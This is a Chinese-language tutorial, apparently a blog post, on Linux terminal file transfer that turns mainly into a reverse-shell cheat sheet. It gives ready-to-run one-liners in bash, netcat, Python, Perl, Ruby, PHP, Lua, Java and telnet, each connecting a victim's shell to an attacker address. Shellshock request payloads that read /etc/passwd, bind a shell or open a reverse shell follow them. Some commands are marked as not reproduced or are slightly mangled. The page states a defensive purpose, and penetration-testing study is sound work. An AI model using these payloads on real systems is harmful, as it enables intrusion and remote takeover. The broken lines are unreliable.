Linux下终端实现文件上传与反弹

时间:2022-07-28
本文章向大家介绍Linux下终端实现文件上传与反弹,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。

[TOC]

文件上传下载

(1) rz/sz命令

描述:Debian里Kail中上传rz命令和下载sz命令可能需要专门的SSH连接工具才能使用;

sz 文件名.txt           #下载的文件
rz c:filename.txt     #上传windows下会弹出选择框让您选择文件
(2) scp命令

描述:scp依赖于ssh通道进行文件上传和下载

#上传到远程
scp localfile.txt [email protected]:/tmp/upfile.txt

#下载到本地
scp [email protected]:/tmp/remotefile.txt D:Downloadfile.txt
(3) sftp命令

描述:sftp(SSH File Transfer Protocol-安全文件传送协议)也是依赖于SSH是它的一部分;sftp 与 ftp 有着几乎一样的语法和功能

#登录
sftp -o port=1000 [email protected] ip

#上传
put /path/filename(本地主机) /path/filename(远端主机)

#下载
get /path/filename(远端主机) /path/filename(本地主机)

常用反弹脚本

描述:在渗透测试中常常需要进行反弹Shell来证明该漏洞的危害,所以再Linux/Windows(不单独罗列了)中出现以下的方式方法 测试环境:

AttackIP:Kail  192.168.200.252
ClientIP:Centos 192.168.200.200
BASH反弹Shell

方式1:

/bin/bash -i >& /dev/tcp/10.24.87.54/4444 0>&1   #Client
nc -lvvp 4433  #Attack

WeiyiGeek.

方式2:采用文件描述符绑定反弹shell

/bin/bash -i > /dev/tcp/10.2.10.16/4444 0<&1 2>&1
0<&196;exec 196<>/dev/tcp/192.168.200.252/4444; sh <&196 >&196 2>&196

WeiyiGeek.

方式3

exec 5<>/dev/tcp/192.168.200.252/4444
# or:
exec 5<>/dev/tcp/192.168.200.252/4444 ; while read line 0<&5; do $line 2>&5 >&5; done

WeiyiGeek.

方式4

Hacker: nc -nvlp 4444
Victim: /bin/bash -i > /dev/tcp/192.168.200.252/4444 0<&1 2>&1

#可使用metasploit来获取shell
msfconsle
use exploit/multi/handler
ruby反弹shell
ruby -rsocket -e 'f=TCPSocket.open("192.168.200.200","4444").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'   #可将sh->bash

补充:未复现成功

perl反弹shell
perl -e 'use Socket;$i="10.24.87.54";$p=14444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
Python反弹Shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.24.87.54",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c 'import pty;pty.spawn("/bin/sh")'   #可以在低权限用来sudo 获取高级权限

WeiyiGeek.

PHP反弹Shell
php -r '$sock=fsockopen("192.168.200.252",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

WeiyiGeek.

JAVA反弹Shell

描述:未能复现

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.200.252/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()
Go反弹Shell
LUA反弹Shell

描述:需要安装-未能复现

lua5.3 -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.200.200','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"
NC命令反弹Shell

方式1

#反向连接
nc -e /bin/sh 192.168.200.252 4444  #Client
nc -lvvp 4444 #Attack

#反向连接
mknod /tmp/backpipe p && /bin/sh 0</tmp/back pipe | nc 192.168.200.254 4444 1>/tmp/backpipe
nc -lvnp 4444  #Attack

WeiyiGeek.

方式2

#Client端
# 如果 -e 参数被禁用,可以尝试以下命令
rm -f /tmp/p; mknod /tmp/p p && nc 192.168.200.252 4443 0</tmp/
# 如果你安装错了 netcat 的版本,请尝试以下命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.200.252 4444>/tmp/f

#Attacker
nc -lvnp 4444
telnet命令反弹shell

方式1 描述:攻击端需要监听两个端口,一个4444端口执行命令另一个8888端口接受执行命令后的结果;

Hacker: nc -nvlp 4444
Hacker: nc -nvlp 8888
Victim: telnet 192.168.200.252 4444 | /bin/bash | telnet 192.168.200.252 8888

WeiyiGeek.

方式2: 描述:如果 netcat 不可用或者 /dev/tcp

mknod /tmp/backpipe p && telnet 192.168.200.252 4444 0</tmp/backpipe | /bin/bash 1>/tmp/backpipe
#mknod a p; telnet x.x.x.x 2222 0<a | /bin/bash 1>a

WeiyiGeek.

Shellshock方式反弹shell
# 一个发现并利用服务器 Shellshock 的工具
./shocker.py -H 192.168.1.1  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
# 查看文件
$ echo -e "HEAD /cgi-bin/status HTTP/1.1rnUser-Agent: () { :;}; echo $(</etc/passwd)rnHost: vulnerablernConnection: closernrn" | nc 192.168.56.118 80
 
# 绑定 shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1rnUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/shrnHost: vulnerablernConnection: closernrn" | nc 192.168.56.118 80
 
# 反弹 Shell
$ nc -l -p 443
$ echo "HEAD /cgi-bin/status HTTP/1.1rnUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/shrnHost: vulnerablernConnection: closernrn" | nc 192.168.56.118 80